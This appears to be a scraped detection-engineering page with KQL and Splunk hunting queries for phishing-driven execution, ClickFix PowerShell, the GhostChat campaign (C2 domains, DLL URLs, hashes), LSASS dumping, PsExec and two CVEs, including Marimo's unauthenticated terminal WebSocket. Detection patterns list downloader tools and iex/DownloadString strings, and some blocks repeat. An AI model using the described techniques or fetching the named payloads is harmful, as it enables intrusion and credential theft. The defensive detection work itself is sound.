network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
[LLM] GhostChat C2 beacon to hitpak.org with 'tynor=<host>sss<user>' URI patternCommand & ControlHigh
Hunts the GhostChat Windows DLL stage callback to https://hitpak.org/page.php carrying the distinctive 'tynor=<ComputerName>sss<Username>' query parameter. This URI shape is a unique fingerprint of the ClickFix-delivered loader described in ESET's GhostChat report and is not seen in any benign traffic.
Rationale: The URI template `tynor=<ComputerName>sss<Username>` and host `hitpak.org` (resolved 188.114.96.10) are explicit IOCs from the ESET write-up; the literal token 'tynor' and the 'sss' delimiter make the rule near-zero-FP. Cross-checked against ESET, Help Net Security, GBHackers and ESET's official press release.
Cross-checked against:
• https://www.welivesecurity.com/en/eset-research/love-actually-fake-dating-app-used-lure-targeted-spyware-campaign-pakistan/
• https://www.helpnetsecurity.com/2026/01/29/ghostchat-android-romance-spyware/
• https://gbhackers.com/ghostchat-targets-whatsapp-users/
• https://www.eset.com/us/about/newsroom/research/eset-research-fake-dating-app-spyware-campaign-pakistan/
ATT&CKT1071.001T1041
Data sourcesWeb.WebNetwork_Resolution.DNS
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteUrl has "hitpak.org" or RemoteIP == "188.114.96.10" or RemoteUrl matches regex @"tynor=[^&]+sss[^&]+"
| project Timestamp, DeviceName, DeviceId, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName, RemoteUrl, RemoteIP, RemotePort
| join kind=leftouter (DeviceProcessEvents | where ProcessCommandLine has_any ("FromBase64String","Invoke-Expression","notepad2.dll","file.dll") | project DeviceId, ProcCmd=ProcessCommandLine, ProcTime=Timestamp) on DeviceId
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Web.url) as url values(Web.http_user_agent) as ua values(Web.dest) as dest values(Web.dest_ip) as dest_ip from datamodel=Web where Web.url="*hitpak.org/page.php*" OR Web.url="*tynor=*sss*" OR Web.dest="hitpak.org" by Web.src, Web.user | `drop_dm_object_name(Web)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] GhostChat second-stage DLL fetch from foxy580.github.io/koko or hitpak.org/notepad2.dllDeliveryHigh
Detects retrieval of the named GhostChat Windows payloads — file.dll from foxy580.github.io/koko/ and notepad2.dll from hitpak.org — including correlation against the published SHA-1 8B103D0AA37E5297143E21949471FD4F6B2ECBAA. Github.io is an unusual delivery host for DLLs and the path/filename combo is article-specific.
Rationale: Both URLs (`foxy580.github.io/koko/file.dll`, `hitpak.org/notepad2.dll`) and the SHA-1 `8B103D0AA37E5297143E21949471FD4F6B2ECBAA` for file.dll are published indicators from ESET. A GitHub Pages site serving an unsigned DLL named `file.dll` from a `koko` path is itself anomalous, making the combo high-fidelity. Validated against ESET press release and Help Net Security follow-up.
Cross-checked against:
• https://www.welivesecurity.com/en/eset-research/love-actually-fake-dating-app-used-lure-targeted-spyware-campaign-pakistan/
• https://www.helpnetsecurity.com/2026/01/29/ghostchat-android-romance-spyware/
• https://www.eset.com/us/about/newsroom/research/eset-research-fake-dating-app-spyware-campaign-pakistan/
ATT&CKT1105T1204.004
Data sourcesWeb.WebEndpoint.Filesystem
let urls = dynamic(["foxy580.github.io/koko/file.dll","hitpak.org/notepad2.dll"]);
let sha1s = dynamic(["8B103D0AA37E5297143E21949471FD4F6B2ECBAA","B15B1F3F2227EBA4B69C85BDB638DF34B9D30B6A"]);
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteUrl has_any (urls) or (RemoteUrl has "foxy580.github.io" and RemoteUrl has "koko")
| project Timestamp, DeviceName, DeviceId, InitiatingProcessFileName, InitiatingProcessCommandLine, RemoteUrl, RemoteIP
| union (DeviceFileEvents
| where Timestamp > ago(30d)
| where FileName in~ ("file.dll","notepad2.dll") or SHA1 in (sha1s)
| project Timestamp, DeviceName, DeviceId, FileName, FolderPath, SHA1, InitiatingProcessFileName, InitiatingProcessCommandLine)
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Web.url) as url values(Web.http_user_agent) as ua from datamodel=Web where (Web.url="*foxy580.github.io/koko/file.dll*" OR Web.url="*hitpak.org/notepad2.dll*" OR (Web.url="*foxy580.github.io*" AND Web.url="*koko*")) by Web.src, Web.user, Web.dest | `drop_dm_object_name(Web)` | append [| tstats `summariesonly` count from datamodel=Endpoint.Filesystem where (Filesystem.file_name="file.dll" OR Filesystem.file_name="notepad2.dll") AND (Filesystem.file_hash="8B103D0AA37E5297143E21949471FD4F6B2ECBAA") by Filesystem.dest Filesystem.file_path Filesystem.file_hash | `drop_dm_object_name(Filesystem)`]
[LLM] Visit to fake PKCERT lure on buildthenations.info preceding scripted executionDeliveryMedium
Hunts users who land on the spoofed Pakistan CERT page hosted at buildthenations[.]info/PKCERT/pkcert.html (the ClickFix lure) and subsequently see PowerShell or mshta launched on the same host within a short window. Pivots from the named lure domain rather than the generic ClickFix PowerShell pattern.
Rationale: Anchored on the lookalike domain `buildthenations[.]info/PKCERT/pkcert.html` impersonating Pakistan CERT (a ClickFix lure) joined with subsequent PowerShell/mshta carrying any of the campaign's other named strings (hitpak.org, foxy580.github.io, notepad2.dll, tynor=). The lookalike-domain anchor avoids the generic 'encoded PowerShell' rule overlap. Confirmed by ESET write-up and Help Net Security coverage.
Cross-checked against:
• https://www.welivesecurity.com/en/eset-research/love-actually-fake-dating-app-used-lure-targeted-spyware-campaign-pakistan/
• https://www.helpnetsecurity.com/2026/01/29/ghostchat-android-romance-spyware/
• https://gbhackers.com/ghostchat-targets-whatsapp-users/
ATT&CKT1566.002T1204.004T1583.001
Data sourcesWeb.WebEndpoint.Processes
let lureHits = DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteUrl has "buildthenations.info" or RemoteUrl has "PKCERT/pkcert.html"
| project lureTime=Timestamp, DeviceId, DeviceName, lureUrl=RemoteUrl;
let badProcs = DeviceProcessEvents
| where Timestamp > ago(30d)
| where InitiatingProcessFileName in~ ("powershell.exe","pwsh.exe","mshta.exe","cmd.exe") or FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine has_any ("hitpak.org","foxy580.github.io","notepad2.dll","tynor=")
or (ProcessCommandLine has "FromBase64String" and ProcessCommandLine has "Invoke-Expression" and ProcessCommandLine has "WindowStyle Hidden")
| project procTime=Timestamp, DeviceId, DeviceName, ProcessCommandLine, FileName, InitiatingProcessFileName;
lureHits
| join kind=inner badProcs on DeviceId
| where procTime between (lureTime .. lureTime + 1h)
| project lureTime, procTime, DeviceName, lureUrl, FileName, InitiatingProcessFileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Web.url) as lure_url from datamodel=Web where Web.url="*buildthenations.info*" OR Web.url="*PKCERT/pkcert.html*" by Web.src Web.user | `drop_dm_object_name(Web)` | join type=inner src [| tstats `summariesonly` count values(Processes.process) as cmd values(Processes.parent_process_name) as parent from datamodel=Endpoint.Processes where (Processes.process_name=powershell.exe OR Processes.process_name=mshta.exe) AND (Processes.process="*FromBase64String*" OR Processes.process="*tynor=*" OR Processes.process="*hitpak.org*" OR Processes.process="*foxy580.github.io*") by Processes.dest Processes.user | rename Processes.dest as src Processes.user as user | `drop_dm_object_name(Processes)`]
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process · Fake CAPTCHA / clipboard-injected PowerShell (ClickFix / FakeCaptcha)
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → Service install for persistence — sc.exe / new service registry write
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage.
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Service install for persistence — sc.exe / new service registry writeInstallationHigh
Service install with binPath pointing to user-writeable path or LOLBin. Detects via process telemetry (sc.exe create) and registry (HKLM\SYSTEM\CurrentControlSet\Services\* writes).
ATT&CKT1543.003
Data sourcesEndpoint.ProcessesEndpoint.RegistryDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName =~ "sc.exe" and ProcessCommandLine has "create"
| where ProcessCommandLine matches regex @"(?i)(\Users\|\AppData\|\ProgramData\|\Temp\)"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name="sc.exe" AND Processes.process="*create*"
AND (Processes.process="*\Users\*" OR Processes.process="*\AppData\*"
OR Processes.process="*\ProgramData\*" OR Processes.process="*\Temp\*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| append
[| tstats `summariesonly` count from datamodel=Endpoint.Registry
where Registry.registry_path="*\\SYSTEM\\CurrentControlSet\\Services\\*"
AND Registry.registry_value_name="ImagePath"
AND (Registry.registry_value_data="*\Users\*"
OR Registry.registry_value_data="*\AppData\*"
OR Registry.registry_value_data="*\Temp\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.user
| `drop_dm_object_name(Registry)`]
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
2026-01-267 use cases2 techniques3 kill-chain phases detected
SmarterTools SmarterMail contains an authentication bypass using an alternate path or channel vulnerability in the password reset API. The force-reset-password endpoint permits anonymous requests and fails to verify the existing password or a reset token when resetting system administrator accounts. This could allow an unauthenticated attacker to supply a target administrator username and a new password to reset the account, resulting in full administrative compromise of the SmarterMail instance. Vendor: SmarterTools, Product: SmarterMail. Known ransomware use: Known. Federal patch due: 2026-02-16.
CVEsCVE-2026-24858CVE-2026-23760
ATT&CKT1190T1486
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2026-24858", "CVE-2026-23760")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-24858", "CVE-2026-23760")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
